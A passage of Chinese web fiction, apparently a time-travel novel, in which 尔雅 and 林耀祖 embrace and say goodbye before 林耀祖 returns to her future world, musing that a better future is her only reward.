尔雅把自己的双手伸向了林耀祖的方向:“我就不说煽情的话了。走之前给我一个拥抱就可以了。” 林耀祖叹息着,然后她紧紧地抱住了尔雅。 她还半开玩笑地说道:“以你的年龄,在你原本的那个世界也该退休了。可惜隔了近两百年的时间,我恐怕也没办法给你点什么退休金。唯一能够给你的,只有一些回忆了。” “或许也不只是回忆。”林耀祖看着尔雅。 尔雅挑起一边的眉毛:“什么?” “我不知道我来自的那个未来世界是不是这个世界真正的未来,也不清楚在过去发生改变之后,未来会不会也因此发生改变。但是如果我现在所做的一切都可以影响到未来的话,那么一个更加美好的未来就是我最好的报酬了。” 更加美好的世界是无论多少退休金都换不回来的。 而且林耀祖在直播系统还能用的时候就用积分兑换了六险一金。 她完全不用担心这些事情。 “那么看来我的责任重大呢。”尔雅深深地叹了一口气,“你这是给我增加压力呀。” 尔雅把林耀祖抱得更紧了一点,她凑到林耀祖的耳边说道:“不过你也别想立刻就跑掉。把工作交接好了再跑。我可不会这么轻易地松手的。” 林耀祖说:“我们未来见。” 只是再见,尔雅大概只会是历史书上的几行文字了。 不过,这也是尔雅所求的。《 》